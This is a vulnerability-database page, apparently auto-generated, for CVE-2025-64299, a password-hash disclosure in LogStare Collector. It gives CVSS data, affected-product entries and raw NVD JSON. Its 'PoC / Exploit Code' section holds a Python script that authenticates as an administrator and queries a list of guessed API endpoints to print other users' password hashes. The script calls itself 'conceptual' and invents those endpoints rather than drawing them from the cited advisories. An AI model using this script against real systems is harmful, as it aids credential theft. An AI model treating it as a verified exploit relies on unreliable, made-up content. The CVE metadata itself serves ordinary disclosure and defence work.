Security Vulnerability Report
中文
CVE-2025-64299 CVSS 2.7 LOW

CVE-2025-64299

Published: 2025-11-21 07:15:55
Last Modified: 2025-12-02 17:51:25

Description

LogStare Collector improperly handles the password hash data. An administrative user may obtain the other users' password hashes.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:secuavail:logstare_collector:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
LogStare Collector < 官方发布的安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64299 PoC - LogStare Collector Password Hash Disclosure # Note: This is a conceptual PoC for authorized security testing only import requests import json # Configuration TARGET_URL = "https://target-logstare-collector.local" USERNAME = "admin" PASSWORD = "admin_password" TARGET_USER = "target_user" # Authentication def authenticate(): """Authenticate to LogStare Collector and obtain session token""" login_url = f"{TARGET_URL}/api/auth/login" payload = { "username": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, json=payload, verify=False, timeout=10) if response.status_code == 200: data = response.json() return data.get('token') or data.get('session') except Exception as e: print(f"Authentication failed: {e}") return None # Enumerate Users and Extract Password Hashes def enumerate_user_hashes(token): """Enumerate users and extract password hashes""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Try to get user list with password hashes user_list_url = f"{TARGET_URL}/api/users/list" try: response = requests.get(user_list_url, headers=headers, verify=False, timeout=10) if response.status_code == 200: users = response.json() print("[*] Found users with potential password hashes:") for user in users: if 'password_hash' in user or 'hash' in user: print(f" User: {user.get('username')}") print(f" Hash: {user.get('password_hash') or user.get('hash')}") except Exception as e: print(f"Enumeration failed: {e}") # Alternative: Try API endpoints that might expose hashes def check_api_endpoints(token): """Check various API endpoints for hash disclosure""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } endpoints = [ f"{TARGET_URL}/api/users/{TARGET_USER}", f"{TARGET_URL}/api/admin/users", f"{TARGET_URL}/api/system/config", f"{TARGET_URL}/api/settings/users" ] for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: data = response.json() # Look for password hash fields if 'password' in str(data).lower() or 'hash' in str(data).lower(): print(f"[+] Potential hash disclosure at: {endpoint}") print(f" Response: {json.dumps(data, indent=2)}") except: pass # Main execution if __name__ == "__main__": print("[*] CVE-2025-64299 PoC - LogStare Collector Password Hash Disclosure") print("[*] This PoC is for authorized security testing only") token = authenticate() if token: print("[+] Authentication successful") enumerate_user_hashes(token) check_api_endpoints(token) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64299", "sourceIdentifier": "[email protected]", "published": "2025-11-21T07:15:54.880", "lastModified": "2025-12-02T17:51:24.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LogStare Collector improperly handles the password hash data. An administrative user may obtain the other users' password hashes."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:secuavail:logstare_collector:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.2", "matchCriteriaId": "074556F9-0A35-4E1F-AF34-ADC3A9503B75"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN77560819/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.logstare.com/vulnerability/2025-001/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}